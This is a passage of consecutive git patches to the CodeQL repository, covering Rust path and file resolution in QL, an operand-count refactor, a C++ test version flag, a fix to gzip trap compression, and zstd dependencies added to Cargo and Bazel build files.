this.asItemNode().toString() } } @@ -124,3 +134,20 @@ private class PositionalFormatArgumentUse extends Use instanceof PositionalForma override string getUseType() { result = "format argument" } } + +private class PathUse extends Use instanceof Path { + override Definition getDefinition() { result.asItemNode() = resolvePath(this) } + + override string getUseType() { result = "path" } +} + +private class FileUse extends Use instanceof Name { + override Definition getDefinition() { + exists(Module m | + this = m.getName() and + fileImport(m, result.asItemNode()) + ) + } + + override string getUseType() { result = "file" } +} diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index ca05b0fba7d1..d09172187ae8 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -1021,7 +1021,8 @@ private predicate pathAttrImport(Folder f, Module m, string relativePath) { private predicate shouldAppend(Folder f, string relativePath) { pathAttrImport(f, _, relativePath) } /** Holds if `m` is a `mod name;` item importing file `f`. */ -private predicate fileImport(Module m, SourceFile f) { +pragma[nomagic] +predicate fileImport(Module m, SourceFile f) { exists(string name, Folder parent | modImport0(m, name, _) and fileModule(f, name, parent) diff --git a/rust/ql/test/library-tests/definitions/Definitions.expected b/rust/ql/test/library-tests/definitions/Definitions.expected index 11f50118d22b..3a9323115bf7 100644 --- a/rust/ql/test/library-tests/definitions/Definitions.expected +++ b/rust/ql/test/library-tests/definitions/Definitions.expected @@ -1,19 +1,21 @@ -| main.rs:2:9:2:13 | width | main.rs:5:29:5:33 | width | local variable | -| main.rs:2:9:2:13 | width | main.rs:6:41:6:45 | width | local variable | -| main.rs:2:9:2:13 | width | main.rs:7:36:7:40 | width | local variable | -| main.rs:3:9:3:17 | precision | main.rs:5:36:5:44 | precision | local variable | -| main.rs:3:9:3:17 | precision | main.rs:6:48:6:56 | precision | local variable | -| main.rs:4:9:4:13 | value | main.rs:6:34:6:38 | value | local variable | -| main.rs:4:9:4:13 | value | main.rs:7:29:7:33 | value | local variable | -| main.rs:5:50:5:54 | value | main.rs:5:22:5:26 | value | format argument | -| main.rs:6:34:6:38 | value | main.rs:6:22:6:22 | 0 | format argument | -| main.rs:6:41:6:45 | width | main.rs:6:25:6:25 | 1 | format argument | -| main.rs:6:48:6:56 | precision | main.rs:6:28:6:28 | 2 | format argument | -| main.rs:7:29:7:33 | value | main.rs:7:21:7:22 | {} | format argument | -| main.rs:7:36:7:40 | width | main.rs:7:24:7:25 | {} | format argument | -| main.rs:8:9:8:14 | people | main.rs:9:22:9:27 | people | local variable | -| main.rs:10:31:10:31 | 1 | main.rs:10:19:10:20 | {} | format argument | -| main.rs:10:31:10:31 | 1 | main.rs:10:23:10:23 | 0 | format argument | -| main.rs:10:34:10:34 | 2 | main.rs:10:16:10:16 | 1 | format argument | -| main.rs:10:34:10:34 | 2 | main.rs:10:26:10:27 | {} | format argument | -| main.rs:11:40:11:42 | "x" | main.rs:11:31:11:35 | {:<5} | format argument | +| lib.rs:1:1:1:1 | SourceFile | main.rs:3:5:3:7 | lib | file | +| main.rs:1:1:1:9 | struct S | main.rs:16:13:16:13 | S | path | +| main.rs:6:9:6:13 | width | main.rs:9:29:9:33 | width | local variable | +| main.rs:6:9:6:13 | width | main.rs:10:41:10:45 | width | local variable | +| main.rs:6:9:6:13 | width | main.rs:11:36:11:40 | width | local variable | +| main.rs:7:9:7:17 | precision | main.rs:9:36:9:44 | precision | local variable | +| main.rs:7:9:7:17 | precision | main.rs:10:48:10:56 | precision | local variable | +| main.rs:8:9:8:13 | value | main.rs:10:34:10:38 | value | local variable | +| main.rs:8:9:8:13 | value | main.rs:11:29:11:33 | value | local variable | +| main.rs:9:50:9:54 | value | main.rs:9:22:9:26 | value | format argument | +| main.rs:10:34:10:38 | value | main.rs:10:22:10:22 | 0 | format argument | +| main.rs:10:41:10:45 | width | main.rs:10:25:10:25 | 1 | format argument | +| main.rs:10:48:10:56 | precision | main.rs:10:28:10:28 | 2 | format argument | +| main.rs:11:29:11:33 | value | main.rs:11:21:11:22 | {} | format argument | +| main.rs:11:36:11:40 | width | main.rs:11:24:11:25 | {} | format argument | +| main.rs:12:9:12:14 | people | main.rs:13:22:13:27 | people | local variable | +| main.rs:14:31:14:31 | 1 | main.rs:14:19:14:20 | {} | format argument | +| main.rs:14:31:14:31 | 1 | main.rs:14:23:14:23 | 0 | format argument | +| main.rs:14:34:14:34 | 2 | main.rs:14:16:14:16 | 1 | format argument | +| main.rs:14:34:14:34 | 2 | main.rs:14:26:14:27 | {} | format argument | +| main.rs:15:40:15:42 | "x" | main.rs:15:31:15:35 | {:<5} | format argument | diff --git a/rust/ql/test/library-tests/definitions/Definitions.ql b/rust/ql/test/library-tests/definitions/Definitions.ql index 021d5f07e4a3..ccc4e543b4af 100644 --- a/rust/ql/test/library-tests/definitions/Definitions.ql +++ b/rust/ql/test/library-tests/definitions/Definitions.ql @@ -1,5 +1,7 @@ import codeql.rust.internal.Definitions from Definition def, Use use, string kind -where def = definitionOf(use, kind) +where + def = definitionOf(use, kind) and + use.fromSource() select def, use, kind diff --git a/rust/ql/test/library-tests/definitions/main.rs b/rust/ql/test/library-tests/definitions/main.rs index a0ee62882807..bde0b8cb993b 100644 --- a/rust/ql/test/library-tests/definitions/main.rs +++ b/rust/ql/test/library-tests/definitions/main.rs @@ -1,3 +1,7 @@ +struct S; + +mod lib; + fn main() { let width = 4; let precision = 2; @@ -9,4 +13,5 @@ fn main() { println!("Hello {people}!"); println!("{1} {} {0} {}", 1, 2); assert_eq!(format!("Hello {:<5}!", "x"), "Hello x !"); + let x = S; } From 5160bc2b9a81c46b2fea66e64138260419553a49 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 28 May 2025 13:32:49 +0200 Subject: [PATCH 420/535] Rust: Define `getNumberOfOperands` in `Operation` class --- rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll | 2 -- rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll | 2 +- rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll | 2 -- rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll | 2 -- 4 files changed, 1 insertion(+), 7 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll index 772982216c0a..dccc0bc10fbb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll @@ -28,8 +28,6 @@ module Impl { override string getOperatorName() { result = Generated::BinaryExpr.super.getOperatorName() } - override int getNumberOfOperands() { result = 2 } - override Expr getOperand(int n) { n = 0 and result = this.getLhs() or diff --git a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll index 78fff948027e..51abc82aca01 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll @@ -99,7 +99,7 @@ module Impl { * * This is either 1 for prefix operations, or 2 for binary operations. */ - abstract int getNumberOfOperands(); + final int getNumberOfOperands() { result = count(this.getAnOperand()) } /** Gets an operand of this operation. */ Expr getAnOperand() { result = this.getOperand(_) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll index 7257dc38fcfd..0ca14070756a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PrefixExprImpl.qll @@ -26,8 +26,6 @@ module Impl { override string getOperatorName() { result = Generated::PrefixExpr.super.getOperatorName() } - override int getNumberOfOperands() { result = 1 } - override Expr getOperand(int n) { n = 0 and result = this.getExpr() } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll index 66357c1fcbb5..e864d348e013 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll @@ -29,8 +29,6 @@ module Impl { override string getOperatorName() { result = "&" } - override int getNumberOfOperands() { result = 1 } - override Expr getOperand(int n) { n = 0 and result = this.getExpr() } private string getSpecPart(int index) { From 0796184573355d69b26647f2d8532e5c52f37a2c Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Wed, 28 May 2025 14:16:47 +0200 Subject: [PATCH 421/535] C++: Specify GNU version on min/max test The `?` operators where removed in g++ in version 4.3, and the latest version of our our frontend enforces this through a version check. Hence, to keep the test working, we not to explicitly specify a version. --- cpp/ql/test/library-tests/exprs/min_max/expr.expected | 8 ++++---- cpp/ql/test/library-tests/exprs/min_max/test.cpp | 1 + 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/cpp/ql/test/library-tests/exprs/min_max/expr.expected b/cpp/ql/test/library-tests/exprs/min_max/expr.expected index ebd03f8b6990..b2ce8fb6e408 100644 --- a/cpp/ql/test/library-tests/exprs/min_max/expr.expected +++ b/cpp/ql/test/library-tests/exprs/min_max/expr.expected @@ -1,6 +1,6 @@ -| test.cpp:3:13:3:13 | i | -| test.cpp:3:13:3:18 | ... ? ... | +| test.cpp:4:13:4:18 | ... ? ... | +| test.cpp:5:18:5:18 | j | diff --git a/cpp/ql/test/library-tests/exprs/min_max/test.cpp b/cpp/ql/test/library-tests/exprs/min_max/test.cpp index d8be21af82aa..f62e08974ce6 100644 --- a/cpp/ql/test/library-tests/exprs/min_max/test.cpp +++ b/cpp/ql/test/library-tests/exprs/min_max/test.cpp @@ -1,3 +1,4 @@ +// semmle-extractor-options: --gnu_version 40200 void f(int i, int j) { int k = i Date: Wed, 28 May 2025 15:51:42 +0200 Subject: [PATCH 422/535] Rust: delete leftover log statement --- rust/extractor/src/main.rs | 1 - 1 file changed, 1 deletion(-) diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index 928542c54226..bae83c99fbfc 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -317,7 +317,6 @@ fn main() -> anyhow::Result<()> { .source_root(db) .is_library { - tracing::info!("file: {}", file.display()); extractor.extract_with_semantics( file, &semantics, From 6500ebf631b85d61e948b6f77bde4611d3664e4f Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 28 May 2025 16:01:28 +0200 Subject: [PATCH 423/535] Rust: Fixes based on PR review --- rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll | 2 +- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll index 51abc82aca01..c1ba794e8e43 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/OperationImpl.qll @@ -99,7 +99,7 @@ module Impl { * * This is either 1 for prefix operations, or 2 for binary operations. */ - final int getNumberOfOperands() { result = count(this.getAnOperand()) } + final int getNumberOfOperands() { result = strictcount(this.getAnOperand()) } /** Gets an operand of this operation. */ Expr getAnOperand() { result = this.getOperand(_) } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 40bf49ee69f4..fcacfd5d3dad 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -691,6 +691,8 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { } private class OperationAccess extends Access instanceof Operation { + OperationAccess() { super.isOverloaded(_, _) } + override Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { // The syntax for operators does not allow type arguments. none() From a86dfe173e9d2f5f59065b49de9d1556cc808c23 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 28 May 2025 14:13:21 +0200 Subject: [PATCH 424/535] Rust: fix gzip compression --- rust/extractor/src/config.rs | 2 +- rust/extractor/src/trap.rs | 14 ++++++++------ .../hello-project/test_project.py | 17 ++++++++++++++++- 3 files changed, 25 insertions(+), 8 deletions(-) diff --git a/rust/extractor/src/config.rs b/rust/extractor/src/config.rs index 3f6b86d1f1f9..3f3a37cf5f07 100644 --- a/rust/extractor/src/config.rs +++ b/rust/extractor/src/config.rs @@ -55,7 +55,7 @@ pub struct Config { pub cargo_all_targets: bool, pub logging_flamegraph: Option, pub logging_verbosity: Option, - pub compression: Compression, + pub trap_compression: Compression, pub inputs: Vec, pub qltest: bool, pub qltest_cargo_check: bool, diff --git a/rust/extractor/src/trap.rs b/rust/extractor/src/trap.rs index ce739e067f0a..2206c4c067b2 100644 --- a/rust/extractor/src/trap.rs +++ b/rust/extractor/src/trap.rs @@ -1,4 +1,3 @@ -use crate::config::Compression; use crate::{config, generated}; use codeql_extractor::{extractor, file_paths, trap}; use ra_ap_ide_db::line_index::LineCol; @@ -9,7 +8,7 @@ use std::path::{Path, PathBuf}; use tracing::debug; pub use trap::Label as UntypedLabel; -pub use trap::Writer; +pub use trap::{Compression, Writer}; pub trait AsTrapKeyPart { fn as_key_part(&self) -> String; @@ -245,8 +244,7 @@ impl TrapFile { pub fn commit(&self) -> std::io::Result<()> { std::fs::create_dir_all(self.path.parent().unwrap())?; - self.writer - .write_to_file(&self.path, self.compression.into()) + self.writer.write_to_file(&self.path, self.compression) } } @@ -261,12 +259,16 @@ impl TrapFileProvider { std::fs::create_dir_all(&trap_dir)?; Ok(TrapFileProvider { trap_dir, - compression: cfg.compression, + compression: cfg.trap_compression.into(), }) } pub fn create(&self, category: &str, key: impl AsRef) -> TrapFile { - let path = file_paths::path_for(&self.trap_dir.join(category), key.as_ref(), "trap"); + let path = file_paths::path_for( + &self.trap_dir.join(category), + key.as_ref(), + self.compression.extension(), + ); debug!("creating trap file {}", path.display()); let mut writer = trap::Writer::new(); extractor::populate_empty_location(&mut writer); diff --git a/rust/ql/integration-tests/hello-project/test_project.py b/rust/ql/integration-tests/hello-project/test_project.py index 5509bc3a93d8..5b0eae903aca 100644 --- a/rust/ql/integration-tests/hello-project/test_project.py +++ b/rust/ql/integration-tests/hello-project/test_project.py @@ -10,7 +10,22 @@ def test_rust_project(codeql, rust, rust_project, check_source_archive, rust_che codeql.database.create() @pytest.mark.ql_test(None) -def test_do_not_print_env(codeql, rust, cargo, check_env_not_dumped, rust_check_diagnostics): +# parametrizing `rust_edition` allows us to skip the default parametrization over all editions +@pytest.mark.parametrize("rust_edition", [2024]) +def test_do_not_print_env(codeql, rust, rust_edition, cargo, check_env_not_dumped, rust_check_diagnostics): codeql.database.create(_env={ "CODEQL_EXTRACTOR_RUST_VERBOSE": "2", }) + +@pytest.mark.ql_test("steps.ql", expected=".cargo.expected") +@pytest.mark.parametrize(("rust_edition", "compression", "suffix"), [ + pytest.param(2024, "gzip", ".gz", id="gzip"), +]) +def test_compression(codeql, rust, rust_edition, compression, suffix, cargo, rust_check_diagnostics, cwd): + codeql.database.create(cleanup=False, _env={ + "CODEQL_EXTRACTOR_RUST_TRAP_COMPRESSION": compression, + }) + trap_files = [*(cwd / "test-db" / "trap").rglob("*.trap*")] + assert trap_files + files_with_wrong_format = [f for f in trap_files if f.suffix != suffix and f.name != "metadata.trap.gz"] + assert not files_with_wrong_format, f"Found trap files with wrong format: {files_with_wrong_format}" From 4a9e31ebd87c8b74ea9fa4b4a43ad899c57696ad Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 28 May 2025 14:15:44 +0200 Subject: [PATCH 425/535] Shared: add zstd crate to tree-sitter-extractor dependencies --- Cargo.lock | 46 +++++ MODULE.bazel | 1 + .../tree_sitter_extractors_deps/BUILD.bazel | 12 ++ .../BUILD.cc-1.2.7.bazel | 41 ++++- .../BUILD.jobserver-0.1.32.bazel | 158 ++++++++++++++++++ .../BUILD.pkg-config-0.3.32.bazel | 83 +++++++++ .../BUILD.zstd-0.13.3.bazel | 92 ++++++++++ .../BUILD.zstd-safe-7.2.4.bazel | 158 ++++++++++++++++++ .../BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel | 157 +++++++++++++++++ .../tree_sitter_extractors_deps/defs.bzl | 52 ++++++ shared/tree-sitter-extractor/Cargo.toml | 1 + 11 files changed, 800 insertions(+), 1 deletion(-) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.jobserver-0.1.32.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pkg-config-0.3.32.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-0.13.3.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-safe-7.2.4.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel diff --git a/Cargo.lock b/Cargo.lock index f425373ceea5..934cae590c1a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -242,6 +242,8 @@ version = "1.2.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a012a0df96dd6d06ba9a1b29d6402d1a5d77c6befd2566afdc26e10603dc93d7" dependencies = [ + "jobserver", + "libc", "shlex", ] @@ -390,6 +392,7 @@ dependencies = [ "tree-sitter", "tree-sitter-json", "tree-sitter-ql", + "zstd", ] [[package]] @@ -983,6 +986,15 @@ version = "1.0.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" +[[package]] +name = "jobserver" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48d1dbcbbeb6a7fec7e059840aa538bd62aaccf972c7346c4d9d2059312853d0" +dependencies = [ + "libc", +] + [[package]] name = "jod-thread" version = "0.1.2" @@ -1334,6 +1346,12 @@ version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + [[package]] name = "portable-atomic" version = "1.11.0" @@ -3027,3 +3045,31 @@ dependencies = [ "quote", "syn", ] + +[[package]] +name = "zstd" +version = "0.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91ee311a569c327171651566e07972200e76fcfe2242a4fa446149a3881c08a" +dependencies = [ + "zstd-safe", +] + +[[package]] +name = "zstd-safe" +version = "7.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d" +dependencies = [ + "zstd-sys", +] + +[[package]] +name = "zstd-sys" +version = "2.0.15+zstd.1.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb81183ddd97d0c74cedf1d50d85c8d08c1b8b68ee863bdee9e706eedba1a237" +dependencies = [ + "cc", + "pkg-config", +] diff --git a/MODULE.bazel b/MODULE.bazel index 49ea49975bb9..764eb6abe72f 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -124,6 +124,7 @@ use_repo( "vendor_ts__tree-sitter-ruby-0.23.1", "vendor_ts__triomphe-0.1.14", "vendor_ts__ungrammar-1.16.1", + "vendor_ts__zstd-0.13.3", ) http_archive = use_repo_rule("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive") diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel index 1f97bfd967f4..52ebf159f017 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel @@ -672,3 +672,15 @@ alias( actual = "@vendor_ts__ungrammar-1.16.1//:ungrammar", tags = ["manual"], ) + +alias( + name = "zstd-0.13.3", + actual = "@vendor_ts__zstd-0.13.3//:zstd", + tags = ["manual"], +) + +alias( + name = "zstd", + actual = "@vendor_ts__zstd-0.13.3//:zstd", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel index 56be5f5153be..54aab54c9ca5 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel @@ -28,6 +28,9 @@ rust_library( "WORKSPACE.bazel", ], ), + crate_features = [ + "parallel", + ], crate_root = "src/lib.rs", edition = "2018", rustc_flags = [ @@ -81,6 +84,42 @@ rust_library( }), version = "1.2.7", deps = [ + "@vendor_ts__jobserver-0.1.32//:jobserver", "@vendor_ts__shlex-1.3.0//:shlex", - ], + ] + select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # aarch64-apple-darwin + ], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # aarch64-unknown-linux-gnu + ], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # aarch64-unknown-linux-gnu, aarch64-unknown-nixos-gnu + ], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.171//:libc", # arm-unknown-linux-gnueabi + ], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # i686-unknown-linux-gnu + ], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # powerpc-unknown-linux-gnu + ], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # s390x-unknown-linux-gnu + ], + "@rules_rust//rust/platform:x86_64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-apple-darwin + ], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-unknown-freebsd + ], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-unknown-linux-gnu + ], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-unknown-linux-gnu, x86_64-unknown-nixos-gnu + ], + "//conditions:default": [], + }), ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.jobserver-0.1.32.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.jobserver-0.1.32.bazel new file mode 100644 index 000000000000..7e041e35b8c0 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.jobserver-0.1.32.bazel @@ -0,0 +1,158 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "jobserver", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=jobserver", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.1.32", + deps = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-apple-ios": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-linux-android": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:armv7-linux-androideabi": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-linux-android": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-unknown-freebsd": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-apple-ios": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-linux-android": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "//conditions:default": [], + }), +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pkg-config-0.3.32.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pkg-config-0.3.32.bazel new 